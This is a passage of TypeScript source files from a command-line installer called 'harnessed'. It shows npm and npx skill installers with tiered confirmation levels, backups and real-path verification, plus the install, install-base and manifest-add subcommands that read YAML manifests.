(c) abort.\n// Default is (c) — safest action wins on Enter / Ctrl-C / Esc.\n//\n// IMPL NOTE (Rule 1 / D-1 reuse): every multi-line block delegates to a lib/*\n// helper. This installer is a thin orchestrator; if you find yourself adding\n// fs/spawn/diff logic *here*, lift it to lib/.\n\nimport * as p from '@clack/prompts'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { DEFAULT_INSTALL_TIMEOUT_MS, DEFAULT_VERIFY_TIMEOUT_MS, spawnCmd } from './lib/spawn.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer, InstallResult, Level } from './lib/types.js'\n\nfunction detectLevel(cmd: string): Level {\n if (/\\bnpm\\s+install\\s+-g\\b/.test(cmd)) return 'L4'\n if (/\\bnpx\\b/.test(cmd)) return 'L1'\n return 'L4' // safest default: assume worst-case scope\n}\n\nexport const installNpmCli: Installer = async (ctx) => {\n // Discriminator narrow — index.ts only routes here when method === 'npm-cli'.\n const install = ctx.manifest.spec.install\n if (install.method !== 'npm-cli') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installNpmCli received non-npm-cli method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n let level = detectLevel(install.cmd)\n let cmd = install.cmd\n const plan: DiffPlan = { files: [] }\n // L1 npx & L4 global both produce \"(no file changes)\" diff — L4 PATH mod is\n // not previewable as a unified diff; the cmd echo is the audit trail.\n process.stdout.write(renderDiff(plan, ctx))\n if (level === 'L4')\n process.stdout.write(' (L4 system install — global PATH change; see cmd above)\\n')\n const conf = await confirmAt(level, { ...ctx, level })\n if (!conf.proceed) {\n if (level === 'L4' && conf.reason === 'flag-missing' && !ctx.opts.nonInteractive) {\n // H3 three-way prompt (interactive only — non-interactive already short-circuited)\n const choice = await p.select({\n message: 'L4 install requires --system. Choose:',\n options: [\n { value: 'retry', label: 'Retry with --system flag (re-run command)' },\n { value: 'npx', label: 'Downgrade to L1 npx ephemeral install (no global)' },\n { value: 'abort', label: 'Abort install' },\n ],\n initialValue: 'abort',\n })\n if (p.isCancel(choice) || choice === 'abort') return { aborted: true, reason: 'user-cancel' }\n if (choice === 'retry') return { aborted: true, reason: 'level-flag-missing' }\n // 'npx' branch: rebuild cmd + re-confirm at L1\n cmd = `npx --yes ${ctx.manifest.metadata.upstream.source}@${install.npm_version}`\n level = 'L1'\n const conf2 = await confirmAt('L1', { ...ctx, level: 'L1' })\n if (!conf2.proceed) return { aborted: true, reason: 'user-cancel' }\n } else {\n // confirm.reason 'flag-missing' (L4 non-interactive) maps to InstallResult\n // 'level-flag-missing'; 'user-cancel' / undefined → 'user-cancel'.\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n }\n // dry-run short-circuit (preview-only, never writes — ADR 0004 contract 1)\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n // v3.0.2: explicit install timeout (60s default — Windows cold npm/npx cache friendly).\n const sp = await spawnCmd(ctx, cmd, [], DEFAULT_INSTALL_TIMEOUT_MS)\n if (!('exitCode' in sp)) return { ...sp, backupId: bk.backupId } as InstallResult\n if (sp.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `install cmd exited ${sp.exitCode}: ${sp.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n // v3.0.2: verify honors spec.verify.timeout_ms (default 15s) — manifest authors retain control.\n const verifyTimeoutMs = ctx.manifest.spec.verify.timeout_ms ?? DEFAULT_VERIFY_TIMEOUT_MS\n const vr = await spawnCmd(ctx, ctx.manifest.spec.verify.cmd, [], verifyTimeoutMs)\n if (!('exitCode' in vr)) return { ...vr, backupId: bk.backupId } as InstallResult\n const expected = ctx.manifest.spec.verify.expected_exit_code ?? 0\n if (vr.exitCode !== expected) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify exit ${vr.exitCode} ≠ expected ${expected}`,\n 'verify-failed',\n ),\n }\n }\n // manifest sha1 capture is a Wave 5 CLI concern (it owns the raw yaml bytes);\n // T3.1 records empty-string placeholder per state.ts schema.\n await updateInstalled(ctx.cwd, ctx.manifest.metadata.name, install.npm_version, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [] }\n}\n","// Phase 2.1 install method 6/6 — cc-skill-pack × npx-skill-installer per ADR\n// 0004 § 5 + ADR 0007 install_type=npx + ADR 0010 errata D2.1-4/5/6.\n//\n// IMPL NOTE (Rule 1 / D2.1-4 + D2.1-5 — pinned skills@1.5.7 + --copy --global):\n// the npx tool is `skills` (vercel-labs/skills). v1.5.7 is the research-pinned\n// stable version (RESEARCH.md § 2). `--copy --global` is mandatory:\n// - `--copy` materializes SKILL.md files into ~/.claude/skills/<name>/ instead\n// of symlinks (default symlinks break on Windows + on systems with\n// ~/.claude on a different volume than the npx cache)\n// - `--global` writes to ~/.claude/skills/ (user-scope) instead of cwd\n// These flags are encoded by the manifest cmd string; we PRESERVE the user's\n// cmd verbatim through spawnCmd, AND we assert the required flags are present\n// (preflight) to prevent silent mis-install via a typo'd manifest.\n//\n// IMPL NOTE (Rule 1 / D2.1-6 CRITICAL — real-path verify, NOT npx exit code):\n// `npx skills add ... --copy --global` can exit 0 without actually writing\n// SKILL.md to ~/.claude/skills/<name>/. Known causes:\n// - skills CLI default targets ~/.agents/ on some systems (D-02 bridge gap)\n// - npm prefix mis-configured\n// - permission errors silently swallowed by npx\n// → verify by `test -f ~/.claude/skills/<name>/SKILL.md` (the REAL path).\n// npx-success + verify-fail → InstallError keyword:'verify-failed' with a\n// suggest pointing at the ~/.agents/ vs ~/.claude/ bridge limitation (D-02).\n// This is the heart of the C6 directory-conflict gotcha — we cannot trust\n// the spawn exit code; the filesystem is the only authority.\n//\n// IMPL NOTE (Rule 1 / D-1 reuse): thin orchestrator on top of spawnCmd. The\n// real-path verify is fs-based (`fs.access` / `fs.stat`), not a spawned `test`\n// — direct fs is faster, doesn't depend on /bin/test or cmd.exe behavior,\n// and produces a clean Promise without process plumbing.\n\nimport { access } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { DEFAULT_INSTALL_TIMEOUT_MS, DEFAULT_VERIFY_TIMEOUT_MS, spawnCmd } from './lib/spawn.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer, InstallResult } from './lib/types.js'\n\n// Extract `<owner/repo>` from `npx ... skills@<ver> add <owner/repo> ...`.\n// Used to compute the expected SKILL.md path. Falls back to manifest\n// metadata.name when the `add <ref>` token is absent.\nfunction extractSkillName(cmd: string, fallback: string): string {\n const m = cmd.match(/\\bskills(?:@\\S+)?\\s+add\\s+(\\S+)/i)\n if (!m || m[1] === undefined) return fallback\n const ref = m[1]\n // If owner/repo, take repo (last segment). If single name, use as-is.\n const seg = ref.split('/')\n return seg[seg.length - 1] ?? fallback\n}\n\nexport const installNpxSkillInstaller: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'npx-skill-installer') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installNpxSkillInstaller received non-npx-skill-installer method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n // D2.1-5 — assert pinned `skills@1.5.7` is referenced in the cmd. We require\n // an explicit pin (not @latest) for reproducibility (ADR 0001). Research\n // pinned 1.5.7 (RESEARCH.md § 2); we don't hardcode \"1.5.7\" here because a\n // future minor bump (1.5.8) should be allowed via manifest update. We only\n // enforce shape: skills@<version-spec>, not @latest.\n if (!/\\bskills@(?!latest\\b)\\S+/.test(install.cmd)) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `npx-skill-installer cmd must reference a pinned skills@<version> (got: '${install.cmd.slice(0, 100)}'); @latest is forbidden for reproducibility (ADR 0001)`,\n 'skills-pin-required',\n ),\n suggest: 'change `skills@latest` → `skills@1.5.7` (current research-pinned stable)',\n },\n }\n }\n\n // D2.1-5 — assert --copy and --global flags are present. Either order, but\n // both are mandatory (research § 2). Silent omission would result in\n // broken-on-Windows symlinks (no --copy) or cwd-scope skills (no --global).\n if (!/\\B--copy\\b/.test(install.cmd) || !/\\B--global\\b/.test(install.cmd)) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `npx-skill-installer cmd must include both \\`--copy\\` and \\`--global\\` flags (D2.1-5)`,\n 'skills-flags-required',\n ),\n suggest:\n '`--copy` materializes files (Windows symlink-safe); `--global` targets ~/.claude/skills/ (user scope)',\n },\n }\n }\n\n // L2 — per-user (~/.claude/skills/<name>/). pure-create DiffPlan with\n // SKILL.md as the target file under HOME scope. rollback = rm -rf the\n // skill dir.\n const name = ctx.manifest.metadata.name\n const skillSegment = extractSkillName(install.cmd, name)\n const skillDir = join(homedir(), '.claude', 'skills', skillSegment)\n const skillMdPath = join(skillDir, 'SKILL.md')\n const plan: DiffPlan = {\n files: [\n {\n target: skillMdPath,\n scope: 'HOME',\n oldText: '',\n newText: `// new SKILL.md created by: ${install.cmd}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L2', { ...ctx, level: 'L2' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n // npx invocation (cmd from manifest; B1 re-screened by spawnCmd).\n // v3.0.2: explicit install timeout (60s — npx cold cache + skills add filesystem traverse).\n const sp = await spawnCmd(ctx, install.cmd, [], DEFAULT_INSTALL_TIMEOUT_MS)\n if (!('exitCode' in sp)) return { ...sp, backupId: bk.backupId } as InstallResult\n if (sp.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `npx skills add exited ${sp.exitCode}: ${sp.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n\n // D2.1-6 CRITICAL — real-path verify. npx exit 0 ≠ files actually written.\n // Use fs.access (faster, deterministic, cross-OS) instead of spawning `test`.\n try {\n await access(skillMdPath)\n } catch {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: {\n ...err(\n ctx,\n '/spec/verify/cmd',\n `npx skills add reported success but SKILL.md is missing at ${skillMdPath}; the skills CLI may have written to ~/.agents/ instead (D-02 bridge limitation) or the npm prefix is misconfigured`,\n 'verify-failed',\n ),\n suggest: `check if SKILL.md exists at ~/.agents/${skillSegment}/SKILL.md (skills CLI default on some systems); if so, copy or symlink it into ~/.claude/skills/${skillSegment}/`,\n },\n }\n }\n\n // Optional secondary verify: run the manifest verify.cmd (often a grep\n // check) for parity with other installers and to surface install-specific\n // post-conditions like \"CLAUDE.md was patched\".\n // v3.0.2: verify honors spec.verify.timeout_ms (default 15s).\n const verifyTimeoutMs = ctx.manifest.spec.verify.timeout_ms ?? DEFAULT_VERIFY_TIMEOUT_MS\n const vr = await spawnCmd(ctx, ctx.manifest.spec.verify.cmd, [], verifyTimeoutMs)\n if (!('exitCode' in vr)) return { ...vr, backupId: bk.backupId } as InstallResult\n const expected = ctx.manifest.spec.verify.expected_exit_code ?? 0\n if (vr.exitCode !== expected) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `manifest verify cmd exit ${vr.exitCode} ≠ expected ${expected}: ${vr.stderr.slice(0, 200)}`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, name, install.npm_version, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [skillMdPath] }\n}\n","// Phase 1.2 → 2.1 installer dispatch table.\n//\n// Phase 1.2 shipped 2 of 6 install methods: npm-cli + mcp-stdio-add.\n// Phase 2.1 unblocks the remaining 4 (cc-plugin-marketplace / git-clone-with-setup /\n// npx-skill-installer / mcp-http-add). All 6 methods are now runtime-ready —\n// the phase21 placeholder const has been removed. See PATTERNS § 4 + ADR 0010 errata.\n//\n// Level mapping per ADR 0004 § 4 (4-level confirm strictness):\n// L1: harnessed-local writes only → npx ephemeral\n// L2: per-user (~/.claude/skills/) → git-clone / npx-skill / npm local\n// L3: user-config (~/.claude.json / → cc-plugin-marketplace / mcp-stdio /\n// .mcp.json / hooks) mcp-http\n// L4: system PATH / global binary → npm install -g\n//\n// npm-cli's level is dynamic (npmCli.ts re-detects from cmd string); we default\n// to L4 here as the safest pre-confirmation seed — npmCli may downgrade to L1\n// after the dry-run preview when cmd uses npx.\n\nimport { installCcHookAdd } from './ccHookAdd.js'\nimport { installCcPluginMarketplace } from './ccPluginMarketplace.js'\nimport { installGitCloneWithSetup } from './gitCloneWithSetup.js'\nimport type { Installer, InstallOpts, InstallResult, Level, Manifest } from './lib/types.js'\nimport { installMcpHttpAdd } from './mcpHttpAdd.js'\nimport { installMcpStdioAdd } from './mcpStdioAdd.js'\nimport { installNpmCli } from './npmCli.js'\nimport { installNpxSkillInstaller } from './npxSkillInstaller.js'\n\nexport const installers: Record<Manifest['spec']['install']['method'], Installer> = {\n 'npm-cli': installNpmCli,\n 'mcp-stdio-add': installMcpStdioAdd,\n 'cc-plugin-marketplace': installCcPluginMarketplace,\n 'git-clone-with-setup': installGitCloneWithSetup,\n 'npx-skill-installer': installNpxSkillInstaller,\n 'mcp-http-add': installMcpHttpAdd,\n // Phase 2.4 W3 T3.1 (D-04 § 3.1) — 7th installer.\n 'cc-hook-add': installCcHookAdd,\n}\n\nfunction levelOf(manifest: Manifest): Level {\n const method = manifest.spec.install.method\n switch (method) {\n case 'mcp-stdio-add':\n case 'mcp-http-add':\n case 'cc-plugin-marketplace':\n case 'cc-hook-add':\n // ~/.claude/settings.json is shared user-scope state (L3 tier sister\n // mcp-stdio CC #54803 \"shared user state\" warning).\n return 'L3'\n case 'git-clone-with-setup':\n case 'npx-skill-installer':\n return 'L2'\n case 'npm-cli':\n return 'L4'\n }\n}\n\nexport async function runInstall(manifest: Manifest, opts: InstallOpts): Promise<InstallResult> {\n const installer = installers[manifest.spec.install.method]\n return installer({ manifest, opts, level: levelOf(manifest), cwd: process.cwd() })\n}\n","// Phase 1.2 cli subcommand `install` per ADR 0004 § 1 + § 6 + Pattern C narrow.\n//\n// IMPL NOTE (v3.0.1 UX flip — apply-immediate default + --dry-run opt-in):\n// `harnessed install <name>` executes immediately by default (non-expert UX;\n// v3.0.1 user feedback — dry-run 是高级用户概念,默认应 apply)。`--dry-run` flag\n// is opt-in 高级用户预览。Sister setup.ts pattern verbatim (L5-7 IMPL NOTE).\n// v3.3.0 cleanup — `--apply` backward-compat alias removed (was no-op since\n// v3.0.1)。default is apply-immediate, no flag needed。\n//\n// Exit code mapping (ADR 0004 contract 6 — no silent failure):\n// 0 → install succeeded (ok: true)\n// 1 → install failed (ok: false; print error.suggest if present)\n// 2 → user-aborted / platform-mismatch (not an error)\n\nimport { readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport type { Command } from 'commander'\n// Phase 3.4 W0.2 #AD — Path A LOCKED per RESEARCH § 6.2 A1 ASSUMED LOW risk\n// (Node 22 + TypeScript 5.6+ supports `with { type: 'json' }` native ES2022\n// import attributes per ECMAScript 2025 stage 4). Replaces hardcoded '0.3.0'\n// literal at L116 with pkg.version (single source of truth = package.json L3).\nimport pkg from '../../package.json' with { type: 'json' }\nimport { runInstall } from '../installers/index.js'\nimport type { InstallError, InstallOpts } from '../installers/lib/types.js'\nimport { checkPathSafe } from '../manifest/lib/path-guard.js'\nimport { validateManifestFile } from '../manifest/validate.js'\nimport { getPackageRoot } from './lib/packagePath.js'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\n\ninterface RawOpts {\n dryRun?: boolean\n system?: boolean\n nonInteractive?: boolean\n fullDiff?: boolean\n color?: boolean // commander turns --no-color into color: false\n knownGood?: boolean // ← Phase 3.3 W1 T1.9 ADD (D-03 YAML version lock consume)\n}\n\nfunction formatError(e: InstallError): string {\n const head = `error: ${e.message}`\n const where = e.path && e.path !== '/' ? `\\n at ${e.path}` : ''\n const tip = e.suggest ? `\\n fix: ${e.suggest}` : ''\n return `${head}${where}${tip}`\n}\n\nexport function registerInstall(program: Command): void {\n program\n .command('install <name>')\n .description('Install an upstream (immediate by default — use --dry-run for preview)')\n .option('--dry-run', 'preview only — do not write to disk (opt-in for advanced users)')\n .option('--system', 'allow L4 system-wide install (e.g. global npm install)')\n .option('--non-interactive', 'skip all prompts (CI / scripts)')\n .option('--full-diff', 'expand diffs longer than 200 lines')\n .option('--no-color', 'disable ANSI colors (auto-detected when piped)')\n .option(\n '--known-good',\n 'use known-good version lock from versions/<harnessed-ver>-known-good.yaml',\n )\n .action(async (name: string, raw: RawOpts) => {\n validateNonInteractiveFlags(raw, 'install <name>')\n\n // Phase 3.3 W1 T1.8 ADD — D-01 alias redirect (D-02 silent install,\n // NO console output per R7.5 验收 \"install 通过\" 语义对齐; doctor 7th\n // check is the human-readable deprecation audit surface).\n const { resolveAlias } = await import('../manifest/aliases.js')\n const resolvedName = resolveAlias(name) ?? name\n // R10.4 D-04 hardening site 2 — screen resolved alias redirect (defense-in-depth).\n checkPathSafe(resolvedName)\n\n const manifestPath = resolve(getPackageRoot(), `manifests/tools/${resolvedName}.yaml`)\n const skillPackPath = resolve(getPackageRoot(), `manifests/skill-packs/${resolvedName}.yaml`)\n let yamlSrc: string\n let chosenPath = manifestPath\n try {\n yamlSrc = await readFile(manifestPath, 'utf8')\n } catch {\n try {\n yamlSrc = await readFile(skillPackPath, 'utf8')\n chosenPath = skillPackPath\n } catch {\n console.error(\n `error: manifest '${resolvedName}' not found\\n` +\n ` fix: ensure manifests/tools/${resolvedName}.yaml or manifests/skill-packs/${resolvedName}.yaml exists`,\n )\n process.exit(1)\n }\n }\n\n const v = validateManifestFile(yamlSrc, chosenPath)\n if (!v.ok) {\n for (const e of v.errors) console.error(`error: ${e.message} at ${e.path}`)\n console.error(` fix: run 'harnessed audit' to inspect manifest issues`)\n process.exit(1)\n }\n\n // v3.0.1 UX flip — apply-immediate default + --dry-run opt-in。\n // dryRun=true → preview only;dryRun=false → immediate execute。\n const dryRun = raw.dryRun === true\n const opts: InstallOpts = {\n apply: !dryRun,\n dryRun,\n system: raw.system === true,\n nonInteractive: raw.nonInteractive === true,\n fullDiff: raw.fullDiff === true,\n color: raw.color === false ? false : 'auto',\n }\n\n // Phase 3.3 W1 T1.9 ADD — D-03 known-good lock consume (lazy load only\n // when flag set per Karpathy YAGNI Discretion lock).\n if (raw.knownGood) {\n const { getPinnedVersion } = await import('../manifest/knownGood.js')\n const harnessedVer = pkg.version\n const pinned = getPinnedVersion(v.manifest.metadata.name, harnessedVer)\n if (pinned && v.manifest.spec.install.method === 'npm-cli') {\n ;(v.manifest.spec.install as { npm_version?: string }).npm_version = pinned\n }\n }\n\n const result = await runInstall(v.manifest, opts)\n\n if ('aborted' in result) {\n console.error(`aborted: ${result.reason}`)\n process.exit(2)\n }\n if (result.ok) {\n const version =\n v.manifest.spec.install.method === 'npm-cli' && 'npm_version' in v.manifest.spec.install\n ? v.manifest.spec.install.npm_version\n : ''\n console.log(`installed ${v.manifest.metadata.name}${version ? `@${version}` : ''}`)\n process.exit(0)\n }\n console.error(formatError(result.error))\n process.exit(1)\n })\n}\n","// v1.0.1 T1.1 — Single SoT for package root resolution.\n//\n// IMPL NOTE: Resolves package root via import.meta.url → up two levels from\n// dist/cli.mjs → package root. Bundler-safe: tsup ESM build preserves\n// import.meta.url. Fixes global-install consumers using process.cwd() which\n// points to the user's project dir, not the harnessed package dir.\n\nimport { dirname, resolve } from 'node:path'\nimport { fileURLToPath } from 'node:url'\n\n/**\n * Returns the absolute path to the harnessed package root directory.\n * Works for both global installs (npm install -g) and local dev (ts-node / vitest).\n */\nexport function getPackageRoot(): string {\n // import.meta.url → file:///.../dist/cli.mjs (or src/cli/lib/packagePath.ts in test)\n // Go up: dist/cli.mjs → dist/ → package root (2 levels)\n // src/cli/lib/packagePath.ts → src/cli/lib/ → src/cli/ → src/ → package root (3 levels in source)\n // We detect which context we're in by checking for the 'dist' segment.\n const thisFile = fileURLToPath(import.meta.url)\n const thisDir = dirname(thisFile)\n // In dist: thisDir = <root>/dist → up 1\n // In src: thisDir = <root>/src/cli/lib → up 3\n if (thisDir.endsWith('dist') || thisDir.replace(/\\\\/g, '/').endsWith('/dist')) {\n return resolve(thisDir, '..')\n }\n // Source / test context — go up 3\n return resolve(thisDir, '..', '..', '..')\n}\n","// Phase 1.3 cli subcommand `install-base` per ADR 0007 + R1 D-9 + D-11.\n//\n// IMPL NOTE (D-9 独立子命令 / D-11 三态 / Rule 1 H1 gate):\n// - D-9: 不在 `install <name>` 上加 `--base` flag, 避免 H1 gate 冲突. Auto-glob\n// `manifests/{tools,skill-packs}/*.yaml`.\n// - D-11: phase 2.1 placeholder method (cc-plugin-marketplace / git-clone-with-setup\n// / npx-skill-installer / mcp-http-add) 不算 failure 计入 skipped (沿袭\n// INSTALLER-CONTRACT 契约 6 放宽 \"deferred ≠ failure\").\n// exit: 0 if installed > 0 + failed === 0; 1 if failed > 0; 2 if 全 skipped.\n// - v3.3.0: `--apply` backward-compat alias removed; default is apply-immediate.\n\nimport { readdir, readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport type { Command } from 'commander'\nimport { runInstall } from '../installers/index.js'\nimport type { InstallOpts } from '../installers/lib/types.js'\nimport { validateManifestFile } from '../manifest/validate.js'\nimport { getPackageRoot } from './lib/packagePath.js'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\n\ninterface RawOpts {\n dryRun?: boolean\n nonInteractive?: boolean\n}\n\nconst PHASE_21 = new Set([\n 'cc-plugin-marketplace',\n 'git-clone-with-setup',\n 'npx-skill-installer',\n 'mcp-http-add',\n])\n\nasync function listBaseManifests(cwd: string): Promise<string[]> {\n const out: string[] = []\n for (const d of ['manifests/tools', 'manifests/skill-packs']) {\n try {\n const entries = await readdir(resolve(cwd, d))\n for (const f of entries.sort()) if (f.endsWith('.yaml')) out.push(resolve(cwd, d, f))\n } catch {}\n }\n return out\n}\n\nexport function registerInstallBase(program: Command): void {\n program\n .command('install-base')\n .description(\n 'Install the phase 1.3 base profile (immediate by default — use --dry-run for preview)',\n )\n .option('--dry-run', 'preview only — do not write to disk (opt-in for advanced users)')\n .option('--non-interactive', 'skip all prompts (CI / scripts)')\n .action(async (raw: RawOpts) => {\n validateNonInteractiveFlags(raw, 'install-base')\n // v3.0.1 UX flip — apply-immediate default + --dry-run opt-in。\n const dryRun = raw.dryRun === true\n const opts: InstallOpts = {\n apply: !dryRun,\n dryRun,\n system: false,\n nonInteractive: raw.nonInteractive === true,\n fullDiff: false,\n color: 'auto',\n }\n const installed: string[] = []\n const alreadyInstalled: string[] = []\n const skipped: { name: string; reason: string }[] = []\n const failed: { name: string; reason: string }[] = []\n for (const path of await listBaseManifests(getPackageRoot())) {\n let yamlSrc: string\n try {\n yamlSrc = await readFile(path, 'utf8')\n } catch (e) {\n failed.push({ name: path, reason: `read: ${(e as Error).message}` })\n continue\n }\n const v = validateManifestFile(yamlSrc, path)\n if (!v.ok) {\n failed.push({ name: path, reason: `validate: ${v.errors[0]?.message ?? 'unknown'}` })\n continue\n }\n const name = v.manifest.metadata.name\n const method = v.manifest.spec.install.method\n if (PHASE_21.has(method)) {\n skipped.push({ name, reason: `deferred phase 2.1 (${method})` })\n continue\n }\n const r = await runInstall(v.manifest, opts)\n if ('aborted' in r) skipped.push({ name, reason: `aborted: ${r.reason}` })\n else if (r.ok && 'alreadyInstalled' in r && r.alreadyInstalled) alreadyInstalled.push(name)\n else if (r.ok) installed.push(name)\n else failed.push({ name, reason: r.error.message })\n }\n console.log(\n `\\n installed: ${installed.length} / already-installed: ${alreadyInstalled.length} / skipped (deferred phase 2.1): ${skipped.length} / failed: ${failed.length}`,\n )\n for (const i of installed) console.log(` installed ${i}`)\n for (const a of alreadyInstalled)\n console.log(` already-installed ${a} — run \\`/mcp\\` in Claude Code to verify connection`)\n for (const s of skipped) console.log(` skipped ${s.name} — ${s.reason}`)\n for (const f of failed) console.error(` failed ${f.name} — ${f.reason}`)\n if (failed.length > 0) process.exit(1)\n if (installed.length === 0 && alreadyInstalled.length === 0) process.exit(2)\n process.exit(0)\n })\n}\n","// Phase 2.3 W3 T3.1 — `harnessed manifest-add` EE-5 5Q merge gate (D-03 BOTH).\n// Sister: execute-task.ts + research.ts; H1 gate. Storage: Path A sibling\n// manifests/<category>/<name>.ee5-answers.json (S2 fix — no provenance schema bump).\nimport { writeFileSync } from 'node:fs'\nimport { stdin, stdout } from 'node:process'\nimport * as readline from 'node:readline/promises'\nimport type { Command } from 'commander'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\n\nconst QA: readonly { q: string; f: string }[] = [\n { q: '① 是真 reusable surface 还是临时 wrapper?', f: 'q1_reusable_surface' },\n { q: '② 上游名字 fit 项目 shape 吗? 有现有命名冲突吗?', f: 'q2_name_fit' },\n { q: '③ 与已装配组件有 overlap surface 吗?', f: 'q3_overlap' },\n { q: '④ 是 import 概念 (可控) 还是 import 别人产品身份 (高耦合)?', f: 'q4_concept_vs_identity' },\n { q: '⑤ user 不知 upstream 还能理解该装配吗?', f: 'q5_user_understanding' },\n] as const\n\ninterface RawOpts {\n category?: string\n name?: string\n dryRun?: boolean\n nonInteractive?: boolean\n}\n\nfunction basename(upstream: string): string {\n return (upstream.split('/').pop() ?? upstream).replace(/\\.git$/, '')\n}\n\nexport function registerManifestAdd(program: Command): void {\n program\n .command('manifest-add <upstream>')\n .description(\n 'Add a new upstream adapter (EE-5 5-question merge gate; immediate by default — use --dry-run for preview)',\n )\n .option('--category <cat>', 'manifest category (skill-packs | tools)', 'skill-packs')\n .option('--name <name>', 'short adapter name (defaults to <upstream> basename)')\n .option('--dry-run', 'preview only — do not write JSON (opt-in for advanced users)')\n .option('--non-interactive', 'CI/scripts — WARN-only dry-run')\n .action(async (upstream: string, raw: RawOpts) => {\n validateNonInteractiveFlags(raw, 'manifest-add <upstream>')\n const name = raw.name ?? basename(upstream)\n const category = raw.category ?? 'skill-packs'\n const outPath = `manifests/${category}/${name}.ee5-answers.json`\n if (raw.nonInteractive) {\n console.warn(\n '[ee-5-gate] WARN: --non-interactive skips 5-question prompt (D-03 dry-run-only). plan-phase hard reject still applies.',\n )\n console.log(`[manifest-add] dry-run preview for upstream: ${upstream} → ${outPath}`)\n process.exit(0)\n }\n const rl = readline.createInterface({ input: stdin, output: stdout })\n const payload: Record<string, string> = {\n upstream,\n created_at: new Date().toISOString(),\n author: process.env.USER ?? process.env.USERNAME ?? 'unknown',\n }\n for (const { q, f } of QA) {\n const a = (await rl.question(`${q}\\n> `)).trim()\n if (!a) {\n console.error('error: EE-5 gate requires non-empty answer')\n rl.close()\n process.exit(1)\n }\n payload[f] = a\n }\n rl.close()\n // v3.0.1 UX flip — apply-immediate default + --dry-run opt-in。\n const dryRun = raw.dryRun === true\n if (!dryRun) {\n writeFileSync(outPath, `${JSON.stringify(payload, null, 2)}\\n`, 'utf8')\n console.log(`[manifest-add] EE-5 gate passed; wrote ${outPath}`)\n } else {\n console.log(`[manifest-add] EE-5 gate passed (dry-run); would write ${outPath}`)\n console.log(JSON.stringify(payload, null, 2))\n }\n process.exit(0)\n })\n}\n","// Phase 1.4 T5.1 — `harnessed research <prompt>` independent subcommand.\n//\n// IMPL NOTE — D-15 独立子命令 (沿袭 D-9 install-base; 不在 install <name> 上加\n// flag 避免 H1 gate 冲突). KICKOFF C4 + D1.4-9 + Pattern G barrel import.\n// W-2 sister patch (D1.4-4 子决策): install adapter via library call —\n// engine.runRouting → ensureSkillsInstalled (lib/ralphLoop.ts) consumes\n// runInstall() directly when wired through opts.installAdapter (PLAN.md\n// § 4 接口契约 6); we **never** spawn `node ./dist/cli.mjs install` subprocess\n// (overlaps R1 Wave 1 spike + slower + cross-stack debug pain).\n// EngineResult three-state → exit codes:\n// 0 → ok (verbatim COMPLETE round-trip succeeded)\n// 1 → ok:false {phase: arbitrate|install|spawn|verbatim} (typed error)\n// 2 → aborted {reason} (max-iter exceeded / user-aborted)\n// v3.3.0: `--apply` backward-compat alias removed; default is apply-immediate.\n\nimport type { Command } from 'commander'\nimport { runRouting, type TaskContext } from 